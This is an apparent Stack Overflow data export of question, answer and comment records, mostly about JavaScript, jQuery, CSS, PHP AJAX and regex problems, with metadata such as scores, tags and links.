comment on: http://stackoverflow.com/q/25802301
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25815926
has comment: http://stackoverflow.com/comment/40384852
has comment: http://stackoverflow.com/comment/40384531
has body: I have a webpage where the opacity does not cover the entire page. I tried using z-index to solve this issue but for some reason it is not working. Here is the webpage: http://www.fairdash.com/test-page Here is the JSFiddle: http://jsfiddle.net/4gqs4275/light/ Here are my CSS trials: Replacing .avgrund-cover with .avgrund-active to no success. I've added .avgrund-active {visibility: visible; opacity: .55;} and removed opacity:1; from .avgrund-active .avgrund-cover. Note: I can only edit the code located in the JSFiddle to solve this issue.
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40385309
has answer: http://stackoverflow.com/a/25817300
has comment: http://stackoverflow.com/comment/40384618
tagged with: avgrund
has comment: http://stackoverflow.com/comment/40384991
has title: Solve full page opacity issue
type: Question
score: 0
has comment: http://stackoverflow.com/comment/40385153
answer count: 1
tagged with: javascript
tagged with: jquery
tagged with: http://stackoverflow.com/tag/html
tagged with: css

http://stackoverflow.com/a/25775558
type: Answer
answers question: http://stackoverflow.com/q/25775352
has body: when dealing with checkboxes, it might be better to use the onChange. Here is a demo try something like that: &lt;div id="some_id"&gt; &lt;input type="checkbox" value="1" name="checkgroup" /&gt; &lt;input type="checkbox" value="2" name="checkgroup" /&gt; &lt;input type="checkbox" value="3" name="checkgroup" /&gt; &lt;/div&gt; JS: $(document).ready(function () { $('input[type="checkbox"]', '#some_id').on('change', function () { var arr = ''; $('input[type="checkbox"]:checked', '#some_id').each(function (i, ele) { if (arr.length &gt; 0) { arr += ', '; } arr += $(ele).val(); }); console.log(arr); }); });
has comment: http://stackoverflow.com/comment/40311272
score: 0

http://stackoverflow.com/q/25721602
possible better answer: http://stackoverflow.com/a/25721727
has comment: http://stackoverflow.com/comment/40211020
tagged with: css
type: AnsweredQuestion
has body: I'm making a theme for a website and I was given permission to play with the HTML files. The thing is I'm just familiarised with CSS and HTML, but I'm a complete noob when it comes to Javascript, JQuery, etc. and, sadly, it seems I need those to add some features I want. I'd like a menu that works like this one: https://www.planetside2.com/news The HTML is basically this: &lt;div id="wrap"&gt; &lt;div id="page-header"&gt; &lt;div class="headerbar"&gt; &lt;/div&gt; &lt;/div&gt; And plenty stuff inside, but I hope the containers are enough This is the CSS: #wrap { margin: 0 auto; width: 1024px; } .headerbar { background: url("{T_THEME_PATH}/images/headerbarbg.png") no-repeat ; background-position: center; width: 1054px; margin:0 -15px; margin-top:3px; height: 120px; position: relative; padding-top: 70px; } I've checked out some other solutions, but, as I said, I'm a complete noob at scripting and when I try to apply such scripts to the theme, they don't work, most likely because there are some things that I should change that I don't know (except classes and IDs, of course). I hope someone can help me.
has answer: http://stackoverflow.com/a/25721799
has comment: http://stackoverflow.com/comment/40211430
has answer: http://stackoverflow.com/a/25721727
type: Question
has title: How do I make a div (menu) fixed positioned after some scrolling has happened?
has comment: http://stackoverflow.com/comment/40210961
tagged with: javascript
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25722410
has comment: http://stackoverflow.com/comment/40211072
score: 0
answer count: 3
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25722410

http://stackoverflow.com/a/25737344
answers question: http://stackoverflow.com/q/25737255
has body: Change i&lt;=inputElems.length to i &lt; inputElems.length. Array indexes run from 0 to length-1. You're getting an error when i is inputElements.length (when your scripts don't work, isn't the Javascript console the first place you look for help?). DEMOenter link description here
accepted answer of: http://stackoverflow.com/q/25737255
score: 2
downvote count: 0
type: AcceptedAnswer
upvote count: 2
type: Answer

http://stackoverflow.com/comment/40449660
type: Comment
score: 1
has text: He's not using IDs in this code.
type: QuestionComment
comment on: http://stackoverflow.com/q/25851803

http://stackoverflow.com/a/25741270
answers question: http://stackoverflow.com/q/25740172
upvote count: 1
has body: You should be global variables or the hidden input to the job instead. var x = document.getElementById("myInput"); . &lt;input type="hidden" name="lan" id="myInput" value="some value"&gt; You can do something like this DEMO
score: 1
downvote count: 0
type: Answer

http://stackoverflow.com/comment/40446657
comment on: http://stackoverflow.com/q/25850203
type: QuestionComment
type: Comment
score: 0
has text: Are you trying to work with the content of `message` ? In that case, you need to add the whole form into the message. Otherwise, show the whole html ! Where is the input you are trying to work with ?

http://stackoverflow.com/a/26849446
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25775100
has body: this seems to be a session locking problem. basically symfony blocks parallel requests with session. try to add this code into your controller action, preferrably as soon as possible, but ofc not before you are done editing anything what could updated the session (usually user related): public function uploadAction() { // code potentially affecting session session_write_close(); // unlock session to allow multiple requests with this session // rest of the code } more info: send two ajax request at the same time in symfony http://blog.alterphp.com/2012/08/how-to-deal-with-asynchronous-request.html

http://stackoverflow.com/comment/40275191
type: Comment
type: QuestionComment
score: 0
has text: It's just a sample case. :) Because there are 2 views. First to display in mobile view and second to display in desktop or PC. CSS works well in desktop or PC but I want to set hidden again in mobile view. I think it have the same way when accessing .a: hover .two with JS. @moo2u2
comment on: http://stackoverflow.com/q/25755717

http://stackoverflow.com/a/25780620
has comment: http://stackoverflow.com/comment/40356584
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/25779062
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/40372719
has body: The problem is that your variable foundNodeCircles is holding a d3 selection, and the data-joining method .data() expects an array representing your data. If you instead use foundNodeCircles[0] for your data join you will be referring to the array of elements that were contained in the selection, rather than the selection itself. Then, when you are setting your attributes, d will refer to the DOM element itself, so you can either use a d3 selection to select d and call .attr to retrieve the attribute, or simply use the DOM method .getAttribute. svg.selectAll(".nodeHighlightRing") // BIND TO THE ELEMENTS RATHER THAN THE SELECTION .data(foundNodeCircles[0]) .enter().append("circle") .attr("class", "nodeHighlightRing") // EITHER OF THESE METHODS SHOULD WORK .attr("cx", function(d) { return d3.select(d).attr("cx"); }) .attr("cy", function(d) { return d.getAttribute("cy"); }) // ... etc. ...
has comment: http://stackoverflow.com/comment/40356488
answers question: http://stackoverflow.com/q/25779062
has comment: http://stackoverflow.com/comment/40376505
has comment: http://stackoverflow.com/comment/40372453

http://stackoverflow.com/q/25829301
tagged with: javascript
tagged with: jquery
has title: Server returning empty response on ajax call probably routing error
favorite count: 0
tagged with: ajax
tagged with: php
has answer: http://stackoverflow.com/a/25835299
score: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40408802
upvote count: 2
type: Question
has body: I have a simple search input that i want to POST data with an ajax call on click out using jquery on blur. The ajax call is the following code: $(".ajax").blur(function(){ $.ajax({ type: "POST", url : "adminController.php", data : { searchInput: $(this).val() }, dataType : "json", context : $("#searchResults"), success: function(data) { $(this).text(data); alert(data); }, error: function (xhr,textStatus,err) { console.log("readyState: " + xhr.readyState); console.log("responseText: "+ xhr.responseText); console.log("status: " + xhr.status); console.log("text status: " + textStatus); console.log("error: " + err); } }); }); When the post call is made, i get a redirect (302 found) to my custom 404 page. However, the adminController.php is located correctly when i checked in chrome's console. If I remove the redirecting condition manually I get a 200 ok server response but with empty response. In my adminController.php I have the following code(code after the return in the constructor is not really necessary here): ` class adminController { private $postData; private $errorMessage; public function __construct() { $this-&gt;postData=array(); $this-&gt;errorMessage=''; session_start(); if(sessionClass::get('Username')== false || loginModel::checkAdmin()== false) { header('Location: /Costing/login'); exit(); } if(($_POST)) { //$this-&gt;handlePostData(); I entered the following simple code to make sure my json return array is not the issue for my problems $cars=array("Volvo","BMW","Toyota"); return json_encode($cars); } } public function __destruct(){ } public function displayPage() { $admin = new adminModel(); $nonAdminUsers = $admin-&gt;databaseInteract(sqlQueries::getNonAdmin()); $adminView = new adminView(); $adminView = $adminView-&gt;createAdminPage($nonAdminUsers); echo $adminView; } private function handlePostData() { foreach($_POST as $key =&gt; $value) { if(!empty($value)) { $sanitized_value = filter_var($value,FILTER_SANITIZE_FULL_SPECIAL_CHARS); $sanitized_valu…
has answer: http://stackoverflow.com/a/25834622
accepted answer: http://stackoverflow.com/a/25834622
possible better answer: http://stackoverflow.com/a/25835299
answer count: 2
has comment: http://stackoverflow.com/comment/40408770
downvote count: 0

http://stackoverflow.com/q/25872309
answer count: 2
downvote count: 0
has answer: http://stackoverflow.com/a/25872381
has body: So there's an online quiz which uses flash, and my friend claims he has a script which pulls the answers from the flash app and displays them. I want to test this out, but I have a question: How can I add or run this script to chrome so that this happens? In general, how can you run your javascript on a certain site on chrome? This concept interests me, and I didn't know it was possible to force sites to do stuff.
favorite count: 0
has comment: http://stackoverflow.com/comment/40487107
has answer: http://stackoverflow.com/a/25872551
type: AnsweredQuestion
score: 2
possible better answer: http://stackoverflow.com/a/25872551
upvote count: 2
accepted answer: http://stackoverflow.com/a/25872381
has title: How to run your own javascript in google chrome
tagged with: google-chrome
type: Question
has comment: http://stackoverflow.com/comment/40487134
has comment: http://stackoverflow.com/comment/40486979
has comment: http://stackoverflow.com/comment/40487197
tagged with: javascript

http://stackoverflow.com/comment/40279769
has text: I think you can just do `$('ul li.add').removeClass('add')` to remove the class.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25758334
type: Comment

http://stackoverflow.com/q/25810709
has comment: http://stackoverflow.com/comment/40374464
type: UnansweredQuestion
downvote count: 2
has answer: http://stackoverflow.com/a/25811383
has answer: http://stackoverflow.com/a/25810880
has body: I am trying to send values from one jsp to another directly. I am using extjs to receive the submitted values. I have no clue how to receive the sent data. I prefer sending the data through POST method. Below is the code Ext.Ajax.request({ url: 'hello.jsp', method:'POST', params:{"abc":abc,"xyz":xyz}, success: received, failure: function(){alert('failure');} }); To retreive the values in hello.js (linked to hello.jsp), I have no clue. Can anyone please let me know if there is any in-built method in extjs? I tried using GET method to send and receive but still the sent values weren't received properly. I used the below code: Ext.Ajax.request({ url: 'hello.jsp?xyxz=xyz&amp;abc=abc', method:'GET', success: received, failure: function(){alert('failure');} }); receiving part: function getSearchParameters() { var prmstr = window.location.search.substring(1); alert(prmstr); } the above alert didn't give me desired results.
has comment: http://stackoverflow.com/comment/40374763
type: Question
has answer: http://stackoverflow.com/a/25813058
upvote count: 0
has comment: http://stackoverflow.com/comment/40375339
tagged with: javascript
tagged with: extjs
answer count: 3
tagged with: extjs4
has title: Receive POST method values in extjs
score: -2
favorite count: 0

http://stackoverflow.com/q/25787504
accepted answer: http://stackoverflow.com/a/25787689
tagged with: javascript
tagged with: jquery
tagged with: jsplumb
score: 0
answer count: 1
has answer: http://stackoverflow.com/a/25787689
has title: find jsPlumb connection between
type: AnsweredQuestion
has body: I have this JS http://jsfiddle.net/xzf0ffcu/18/ jsPlumb.ready(function() { How can I find out whitch element is connected with whitch, can I console.log something like #div1 connected with #div4, #div2 with #div5?
type: Question

http://stackoverflow.com/q/25793321
tagged with: http://stackoverflow.com/tag/html
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40342796
tagged with: internet-explorer-9
has answer: http://stackoverflow.com/a/25794578
has title: IE9 browser cache issue
type: Question
has body: I am facing a browser cache issue for IE9. I tried to clear cache using below mentioned ways. Included the below code in the jsp page: &lt;% response.setHeader("pragma","no-cache");//HTTP 1.1 response.setHeader("Cache-Control","no-cache"); response.setHeader("Cache-Control","no-store"); response.addDateHeader("Expires", -1); response.setDateHeader("max-age", 0); //response.setIntHeader ("Expires", -1); //prevents caching at the proxy server response.addHeader("cache-Control", "private"); %&gt;
answer count: 1
tagged with: jsp
tagged with: javascript
score: 0

http://stackoverflow.com/comment/120443649
has text: $(".slider").updateOptions throws Uncaught TypeError: Cannot read property 'updateOptions' of undefined.. this works document.getElementById("price-slider").noUiSlider.updateOptions(config)
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/33942205

http://stackoverflow.com/comment/40473389
type: Comment
has text: Thanks terrywb, instead of specifying actual values for #leaveCode is there a way to select the first or second option
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25853823

http://stackoverflow.com/comment/40449423
score: 0
type: Comment
type: QuestionComment
has text: I am trying to post 2 products from one page so you can select size x of product a, and y of product b within same click, selecting drop down size options in form. In essence trying to identify and post two selections from one form to make the UX better.
comment on: http://stackoverflow.com/q/25850187

windows-phone-8
tags question: http://stackoverflow.com/q/25820623
tags question: http://stackoverflow.com/q/25845853
tags question: http://stackoverflow.com/q/25837643
tag name: windows-phone-8
type: Tag

http://stackoverflow.com/comment/40476868
type: QuestionComment
comment on: http://stackoverflow.com/q/25866875
has text: Why are you including boxes in the page twice?
score: 0
type: Comment

http://stackoverflow.com/comment/40451963
comment on: http://stackoverflow.com/q/25853023
score: 0
type: Comment
type: QuestionComment
has text: @royhowie That will return `[['a', 'b', 'c'], ['d', 'e', 'f']]`. He needs to append them afterward.

http://stackoverflow.com/a/25786447
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25786376
has body: Try this way instead : //label[contains(.,'Create a guest user')] by using text() the contains() function will be evaluated against first text node child of &lt;label&gt;, which in this case an empty text node (new line between &lt;label&gt; and &lt;input&gt; I suppose). This is why the element was not found.

http://stackoverflow.com/comment/40264356
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25749296
has text: 1) your words were - "div element to move smoothly not jumping so sharply." - this is it; 2) could you show modifications in jsfiddle as well - it's easier to understand

apache
tag name: apache
tags question: http://stackoverflow.com/q/25847083
tags question: http://stackoverflow.com/q/25830700
tags question: http://stackoverflow.com/q/25772001
type: Tag

http://stackoverflow.com/comment/50489686
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25850413
has text: if you could, i'd give you a checkmark, that seems like a somewhat reasonable solution for a crappy situation.
score: 0

asp.net
tags question: http://stackoverflow.com/q/25766624
tags question: http://stackoverflow.com/q/25843230
tags question: http://stackoverflow.com/q/25811526
tags question: http://stackoverflow.com/q/25813522
tags question: http://stackoverflow.com/q/25733137
tags question: http://stackoverflow.com/q/25789625
tags question: http://stackoverflow.com/q/25756787
tags question: http://stackoverflow.com/q/25767202
tags question: http://stackoverflow.com/q/25861222
tags question: http://stackoverflow.com/q/25758327
tags question: http://stackoverflow.com/q/25856813
tags question: http://stackoverflow.com/q/25731084
tags question: http://stackoverflow.com/q/25845947
tags question: http://stackoverflow.com/q/25811292
tags question: http://stackoverflow.com/q/25754248
tags question: http://stackoverflow.com/q/25816881
tags question: http://stackoverflow.com/q/25736940
tags question: http://stackoverflow.com/q/25861940
tags question: http://stackoverflow.com/q/25859654
tags question: http://stackoverflow.com/q/25846419
tags question: http://stackoverflow.com/q/25810820
tags question: http://stackoverflow.com/q/25842877
tags question: http://stackoverflow.com/q/25762268
tags question: http://stackoverflow.com/q/25835838
tags question: http://stackoverflow.com/q/25844307
tags question: http://stackoverflow.com/q/25858179
tags question: http://stackoverflow.com/q/25725602
tags question: http://stackoverflow.com/q/25868604
tags question: http://stackoverflow.com/q/25743414
tags question: http://stackoverflow.com/q/25768316
tags question: http://stackoverflow.com/q/25731797
tags question: http://stackoverflow.com/q/25737126
tags question: http://stackoverflow.com/q/25759858
tags question: http://stackoverflow.com/q/25818382
tags question: http://stackoverflow.com/q/25759277
tags question: http://stackoverflow.com/q/25808731
tags question: http://stackoverflow.com/q/25733396
tags question: http://stackoverflow.com/q/25743066
tags question: http://stackoverflow.com/q/25785005
tags question: http://stackoverflow.com/q/25842775
tags question: http://stackoverflow.com/q/25842234
tags question: http://stackoverflow.com/q/25847173
tags question: http://stackoverflow.com/q/25789249
tags question: http://stackoverflow.com/q/25720250
tags question: http://stackoverflow.com/q/25749273
tags question: http://stackoverflow.com/q/25724837
tags question: http://stackoverflow.com/q/25818237
tags question: http://stackoverflow.com/q/25803265
tags question: http://stackoverflow.com/q/25765384
tags question: http://stackoverflow.com/q/25788725
tags question: http://stackoverflow.com/q/25730784
tags question: http://stackoverflow.com/q/25821394
tags question: http://stackoverflow.com/q/25830190
tags question: http://stackoverflow.com/q/25742431
tags question: http://stackoverflow.com/q/25768272
tags question: http://stackoverflow.com/q/25820222
type: Tag
tags question: http://stackoverflow.com/q/25728041
tags question: http://stackoverflow.com/q/25724954
tags question: http://stackoverflow.com/q/25758415
tags question: http://stackoverflow.com/q/25849004
tags question: http://stackoverflow.com/q/25832286
tags question: http://stackoverflow.com/q/25868553
tags question: http://stackoverflow.com/q/25766743
tags question: http://stackoverflow.com/q/25831687
tags question: http://stackoverflow.com/q/25806723
tags question: http://stackoverflow.com/q/25840368
tags question: http://stackoverflow.com/q/25737814
tags question: http://stackoverflow.com/q/25727683
tags question: http://stackoverflow.com/q/25830540
tags question: http://stackoverflow.com/q/25722140
tags question: http://stackoverflow.com/q/25790405
tags question: http://stackoverflow.com/q/25746436
tags question: http://stackoverflow.com/q/25794260
tags question: http://stackoverflow.com/q/25820128
tags question: http://stackoverflow.com/q/25824961
tags question: http://stackoverflow.com/q/25739428
tags question: http://stackoverflow.com/q/25778051
tags question: http://stackoverflow.com/q/25736051
tags question: http://stackoverflow.com/q/25741411

http://stackoverflow.com/q/25746038
has answer: http://stackoverflow.com/a/49212397
possible better answer: http://stackoverflow.com/a/25746317
tagged with: http://stackoverflow.com/tag/html
tagged with: getelementbyid
has comment: http://stackoverflow.com/comment/40256441
has title: How to use multiple document.getElementById's?
has comment: http://stackoverflow.com/comment/40257274
has body: I have a problem with html and js. I don't know why I can only use the first document.getElementById that is on top. JavaScript.js var one = "sentence" document.getElementById("text").innerHTML = one; var two = "sentence sentence" document.getElementById("text_2").innerHTML = two; var three = "sentence sentence sentence" document.getElementById("text_3").innerHTML = three; webpage.html When using div id="text_2" or div id="text_3", nothing will come up on the output. Only the document.getElementById that is on top in the js file can be seen on the webpage. So I gues i cannot use multiple getElementById's but I don't know a other way yet. What to do? Thank you
has answer: http://stackoverflow.com/a/25746310
score: 2
tagged with: var
answer count: 5
tagged with: innerhtml
downvote count: 1
has comment: http://stackoverflow.com/comment/40256510
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40256410
has answer: http://stackoverflow.com/a/25746444
has answer: http://stackoverflow.com/a/25746603
upvote count: 3
accepted answer: http://stackoverflow.com/a/25746310
has comment: http://stackoverflow.com/comment/40256668
type: Question
has comment: http://stackoverflow.com/comment/40256424
has answer: http://stackoverflow.com/a/25746317
has comment: http://stackoverflow.com/comment/40256717
has comment: http://stackoverflow.com/comment/40256408
tagged with: javascript
favorite count: 0
has comment: http://stackoverflow.com/comment/40256545
has comment: http://stackoverflow.com/comment/40256478

http://stackoverflow.com/a/25872730
type: Answer
accepted answer of: http://stackoverflow.com/q/25872396
answers question: http://stackoverflow.com/q/25872396
has body: You can try this: $("#textfield1").keypress(function(event) { var isMinus = (event.keyCode &gt;= 97) &amp;&amp; (event.keyCode &lt;= 122); if (isMinus) { var letra = String.fromCharCode(event.keyCode-32); this.value+= letra; event.preventDefault(); event.stopPropagation(); } }); Example: http://jsfiddle.net/kx23u3z1/ :)
score: 0
type: AcceptedAnswer

http://stackoverflow.com/q/25801673
tagged with: substring
type: Question
has title: ascii to hexadecimal in js
answer count: 1
downvote count: 0
tagged with: javascript
tagged with: string
has answer: http://stackoverflow.com/a/32286559
favorite count: 0
tagged with: hex
type: UnansweredQuestion
has body: I'm trying to convert a .onion's url (the public key information or whatever) into a logo similar to the AACS flag that people used. I think it's a creative way to share deepweb links while allowing you to authenticate the link's address. However, life sucks when code doesn't work. Here's the live fiddle: http://jsfiddle.net/whitingcameronlinux/th0jrx8h/4/ What I need is a conversion that preserves characters in js even as they're converted to hex. I WANT THE CHARACTERS (and that parseInt toString trick doesn't help much)... $("#click").click(function () { // Grab url (k03rjptlbsi7dq3y.onion) //var url = window.location.host; // hopefully the same kind of data var url = 'ko3rjptlbsi7dq3y.onion'; // remove .onion var onlyurl = url.substr(0, 16); // turn into hex var hexresult = parseInt(onlyurl).toString(); // grab hex colors var bar0 = "#" + hexresult.substring(0, 6); var bar1 = "#" + hexresult.substring(5, 6); var bar2 = "#" + hexresult.substring(11, 6); var bar3 = "#" + hexresult.substring(17, 6); var bar4 = "#" + hexresult.substring(23, 6); // remainder goes here var plus = "+" + hexresult.substring(29, 2); //new elements: $("#validate").append("&lt;style id=\"validate\"&gt; #bar0{background-color:" + $bar0 + "}#ba r1{background-color:" + $bar1 + "}#bar2{background-color:" + $bar2 + "}#bar3{background-color:" + $bar3 + "}#bar4{background-color:" + $bar4 + "}&lt;/style&gt;"); $("#bar4").html($plus); }); How can I convert them to get the correct amount of information? (I know they're not compatible with hex to begin with, that's why I have to convert the ascii to hex in the first place)
upvote count: 1
score: 1

http://stackoverflow.com/comment/40301887
has text: [There is no HTML5 DTD](http://stackoverflow.com/questions/4053917/where-is-the-html5-document-type-definition). And even if there were one (you can use [this](http://blogs.msdn.com/b/webdevtools/archive/2009/11/18/html-5-intellisense-and-validation-schema-for-visual-studio-2008-and-visual-web-developer.aspx), after all), you'd still have to map all the 'missing' elements to some specific decorators.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25770961
score: 0

http://stackoverflow.com/q/25728657
has comment: http://stackoverflow.com/comment/40225612
tagged with: asp.net-mvc
linked to: http://stackoverflow.com/q/6501043
type: Question
has comment: http://stackoverflow.com/comment/40226952
tagged with: textarea
has comment: http://stackoverflow.com/comment/40227278
tagged with: javascript
tagged with: jquery
has title: MVC Limit lines and chars in a fixed height and width textarea
has comment: http://stackoverflow.com/comment/40226849
has comment: http://stackoverflow.com/comment/40227187
answer count: 0
type: UnansweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/40224242
tagged with: limit
has body: Here is what I have: I have a textArea that has very strict size limitations, height: 300px, width: 612px, these are fixed and cannot change. Here is what I need it to limit: I need the text entered to be able to fit on one page, I have done research on the page that it needs to fit on to and the limit is 101 lines with a max of 118 chars per line. And show the user how much they have left. Issue: All of the solutions that I have found use the textarea itself and the size of it to dynamically display the number of lines and chars left. However since this is fixed height, the initial rows is thrown off by using that method. Also when enter is pressed I haven't found a good way to decrease the number of chars they then have left.
has comment: http://stackoverflow.com/comment/40227012

http://stackoverflow.com/comment/40932842
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25847390
has text: Mine is: 37.0.2062.120 m. Is just the flip thing or you can click the tabs also? (Menu1, Menu2 ...)

http://stackoverflow.com/a/25873480
type: Answer
answers question: http://stackoverflow.com/q/25871907
has body: Chrome and Opera have a bug with getComputedStyle() for PseudoElements: When the style of #elem::before is set to {display: none;} or {content: none} or when the content is just not set, both return the computed style of #elem. But in practise it's no problem: A PseudoElement with display: none ore no content will not be displayed, so you must set content to show it. In css content must be quoted: div::before { content: "something"} or { content: "" } // empty string. When you now retrieve .getComputedStyle(...).content you get not an empty string but a string with two quotes in it. That way you can distinguish your both cases. Take care when using the content value in javascript, it must be doublequoted. As in CSS3 specified content can explicitely set to "nothing": #elem::before { content: none } // without quotes! In this case FF and IE returns none, Chrome and Opera really nothing. JSFidlle here to test all cases.
has comment: http://stackoverflow.com/comment/40490891
score: 0
has comment: http://stackoverflow.com/comment/40490200

http://stackoverflow.com/a/26203069
type: Answer
answers question: http://stackoverflow.com/q/25849675
has body: I have been successful using buzz.js (https://github.com/brentjanderson/meteor-buzz.git). I had tried using Audio before with lots of compatibility issues, whereas it might work in the most modern browsers but not in reactive settings. The application plays sounds based on reactive events both from updating session and collections and is working fine in an android app as well as in most modern browsers. However on android I've noticed that only one sound can be played at each time (successive play attempts cancel the currently playing sound out). Playing sound is very simple: var audio = new buzz.sound('/sounds/warning.mp3'); audio.play();
score: 0

http://stackoverflow.com/q/25864812
tagged with: indexof
has comment: http://stackoverflow.com/comment/40474294
accepted answer: http://stackoverflow.com/a/25864912
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/40483212
tagged with: javascript
has answer: http://stackoverflow.com/a/25865140
score: 0
possible better answer: http://stackoverflow.com/a/25865140
has body: How come this part returns a result: var s = "foo"; alert(s.indexOf("oo") &gt; -1); But this part doesn't: var currentLocation = window.location; alert(currentLocation.indexOf(".") &gt; -1);
has answer: http://stackoverflow.com/a/25864912
has title: indexOf troubleshooting
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40473321

http://stackoverflow.com/q/25767950
downvote count: 0
tagged with: javascript
has title: Twitter Bootstrap timepicker without AM/PM button in View side
has body: I have this timepicker with bootstrap: Demo Now I whant to hide AM/PM, is it possible to do with javascript. Or I will have to remove it from bootstrap.timepicker.js? I have try with this: $('#timepicker1').timepicker({ defaultTime: 'value', minuteStep: 1, disableFocus: true, format: 'HH:mm', template: 'dropdown' }); But this is not working. Realy thanks for any help
has answer: http://stackoverflow.com/a/25768080
favorite count: 0
tagged with: timepicker
tagged with: twitter-bootstrap
accepted answer: http://stackoverflow.com/a/25768080
score: 5
possible better answer: http://stackoverflow.com/a/25768084
has answer: http://stackoverflow.com/a/25768084
type: AnsweredQuestion
type: Question
answer count: 2
upvote count: 5

restful-architecture
type: Tag
tags question: http://stackoverflow.com/q/25828614
tag name: restful-architecture

http://stackoverflow.com/comment/42433198
type: Comment
score: 0
type: AnswerComment
has text: I did it with an external trash-div where events can be dragged to for removing them. Why doesn't it work with jQueryUi jsut making the trash-div.droppable. The fullCalendar events are not even recognized when being dragged over a droppable, why?
comment on: http://stackoverflow.com/a/25740071

http://stackoverflow.com/comment/40360427
has text: I like this solution in general, but there a 2 small bugs: The opacity doesn't get reset when the super checkbox gets clicked and when only some checkboxes are checked, clicking the super checkbox will uncheck them all where it should check them instead. I will probably take this one and work on from here.
comment on: http://stackoverflow.com/a/25791227
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/a/25780380
score: 0
has body: Just add following css and remove inline css a{ color:red;} li:hover{color: blue;font-weight:bold;} li:hover li {color: red;font-weight:normal;} li:hover li:hover{color: blue;font-weight:bold;} li:hover li:hover a:hover{color: blue;font-weight:bold;} Updated demo http://jsfiddle.net/wcs1mhg6/2/
type: Answer
answers question: http://stackoverflow.com/q/25780179

http://stackoverflow.com/comment/40475997
has text: Could you please explain why exactly was this downvoted?
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25864769

http://stackoverflow.com/comment/40235766
has text: unfortunately I am new in the field I didn't use it before :3
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25734596

http://stackoverflow.com/a/25824437
has comment: http://stackoverflow.com/comment/40399792
has comment: http://stackoverflow.com/comment/40399885
downvote count: 0
has comment: http://stackoverflow.com/comment/40399804
answers question: http://stackoverflow.com/q/25824387
has comment: http://stackoverflow.com/comment/40399816
type: Answer
has body: Two possible ways I can think of: Import $rootScope and set it there: var app = angular.module("myApp",['ui.router','flow']); app.config(['flowFactoryProvider', function (flowFactoryProvider, $rootScope) { flowFactoryProvider.defaults = { target: 'upload.php?type=' + $rootScope.vtype, testChunks:false, singleFile: true, permanentErrors: [404, 500, 501], maxChunkRetries: 1, chunkRetryInterval: 5000, simultaneousUploads: 4 }; } ]); and in some controller, you can set it as $rootScope.vtype = something; OR you could write a get/set method inside the provider which would allow you to change a local value. var app = angular.module("myApp",['ui.router','flow']); app.config(['flowFactoryProvider', function (flowFactoryProvider) { var someLocalValue = 1; // default value flowFactoryProvider.defaults = { target: 'upload.php?type=' + someLocalValue, testChunks:false, singleFile: true, permanentErrors: [404, 500, 501], maxChunkRetries: 1, chunkRetryInterval: 5000, simultaneousUploads: 4 }; flowFactoryProvider.getSomeLocalValue = function(){ return someLocalValue; }; flowFactoryProvider.setSomeLocalValue = function(input){ flowFactoryProvider.defaults.target = 'upload.php?type=' + input; someLocalValue = input; }; } ]);
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/40399856
has comment: http://stackoverflow.com/comment/40402061

http://stackoverflow.com/q/25846961
possible better answer: http://stackoverflow.com/a/25943504
favorite count: 0
has body: I'd like to construct a regex that will check for a "path" and a "foo" parameter (non-negative integer). "foo" is optional. It should: MATCH path?foo=67 # path found, foo = 67 path?foo=67&amp;bar=hello # path found, foo = 67 path?bar=bye&amp;foo=1&amp;baz=12 # path found, foo = 1 path?bar=123 # path found, foo = '' path # path found, foo = '' DO NOT MATCH path?foo=37signals # foo is not integer path?foo=-8 # foo cannot be negative something?foo=1 # path not found Also, I'd like to get the value of foo, without performing an additional match. What would be the simplest regex to achieve this?
has comment: http://stackoverflow.com/comment/40620360
has answer: http://stackoverflow.com/a/26043743
tagged with: regex
has comment: http://stackoverflow.com/comment/40588722
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/26005392
type: Question
has answer: http://stackoverflow.com/a/25847050
has answer: http://stackoverflow.com/a/26050062
score: 10
tagged with: javascript
upvote count: 11
has answer: http://stackoverflow.com/a/25847192
has answer: http://stackoverflow.com/a/25943504
has answer: http://stackoverflow.com/a/25847406
has title: How to extract an optional query parameter using regex in Javascript
has answer: http://stackoverflow.com/a/25927498
accepted answer: http://stackoverflow.com/a/25927498
has answer: http://stackoverflow.com/a/25927377
has answer: http://stackoverflow.com/a/25970546
downvote count: 1
answer count: 10

http://stackoverflow.com/a/25814480
answers question: http://stackoverflow.com/q/25814271
has comment: http://stackoverflow.com/comment/40381675
upvote count: 2
has comment: http://stackoverflow.com/comment/40381556
downvote count: 0
has comment: http://stackoverflow.com/comment/40382027
has comment: http://stackoverflow.com/comment/40381980
type: Answer
has comment: http://stackoverflow.com/comment/40381917
score: 2
